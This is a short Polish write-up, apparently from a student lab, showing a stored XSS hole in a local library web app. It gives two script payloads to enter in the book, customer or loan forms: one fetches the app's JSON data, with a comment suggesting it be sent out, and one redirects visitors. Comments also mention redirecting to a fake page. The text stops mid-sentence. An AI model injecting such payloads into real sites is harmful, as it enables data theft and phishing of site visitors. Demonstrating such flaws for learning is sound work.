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Podatność XSS
<script> async function fetchJson(url) { const res = await fetch(url, { method: 'GET' }); if (!res.ok) { throw new Error(`Błąd sieci: ${res.status} ${res.statusText}`); } return await res.json(); } (async () => { try { const data = await fetchJson('http://localhost:5000/books/json'); console.log(data); /* tu można dać fetch z wysłaniem */ } catch (err) { console.error('Błąd:', err.message); } })(); </script> <script> window.location.replace("https://www.google.com/search?q=xss&oq=xss&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIGCAEQRRg9MgYIAhBFGD3SAQc4MTVqMGo3qAIAsAIA&sourceid=chrome&ie=UTF-8") /* tu replace do podrobionej strony z danymi uprzednio wysłanymi*/ </script>Można wpisać takie jedno albo drugie w formularzach dodających książkę, lub też customera czy też pożyczkę. Drugi XSS pod dodaniu książki czy też customera po załadowaniu strony np z książkami od razu przenosi na inną stronę. W tym przypadku jest to google z wyszukaniem "co to XSS". Pierwszy skrypt natomiast: